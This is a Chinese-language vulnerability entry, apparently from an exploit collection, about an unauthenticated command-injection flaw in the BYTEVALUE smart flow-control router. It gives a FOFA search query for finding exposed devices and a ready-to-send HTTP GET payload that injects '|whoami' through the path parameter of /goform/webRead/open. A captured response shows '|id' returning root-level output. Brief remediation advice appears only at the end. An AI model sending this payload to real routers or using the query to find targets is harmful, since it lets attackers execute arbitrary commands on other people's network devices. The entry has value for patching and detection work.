B7-1百为-智能流控路由器-RCE

漏洞描述:

百为智能流控路由器 /goform/webRead/open 路由的 ?path 参数存在有回显的<u>命令注入漏洞</u> 未经身份认证的攻击者可以利用此漏洞执行任意指令,获取服务器权限。

网站图片:



网络测绘:

fofa语法:

FOFA: app="BYTEVALUE-智能流控路由器"

漏洞复现:

payload:

GET /goform/webRead/open/?path=|whoami HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

效果图:

```
Request

( ) 数据包扫描 熱加載 构造事本 50

Responses 26bytes/26ms

1 GET·/goform/webRead/open/?path=|id·HTTP/1.1

2 Host?:-----:1023

3 Accept-Encoding: gzip

4 User-Agent: Mozilla/5.0·(Macintosh; Intel·Mac·OS·X·10_14_3)·AppleWebKit/605.1.15·(KHTML, like-Gecko)·Version/12.0.3·Safari/605.1.15

6 Content-Type: text/plain; charset=utf-8

Content-Length: 26

7 auid=0(admin)·gid=0(admin)
```

修复建议:

目前官方已提供解决方案,请关注厂商主页更新:http://www.bytevalue.com/ 通过防火墙等安全设备设置访问策略,设置白名单访问。 如非必要,禁止公网访问该系统。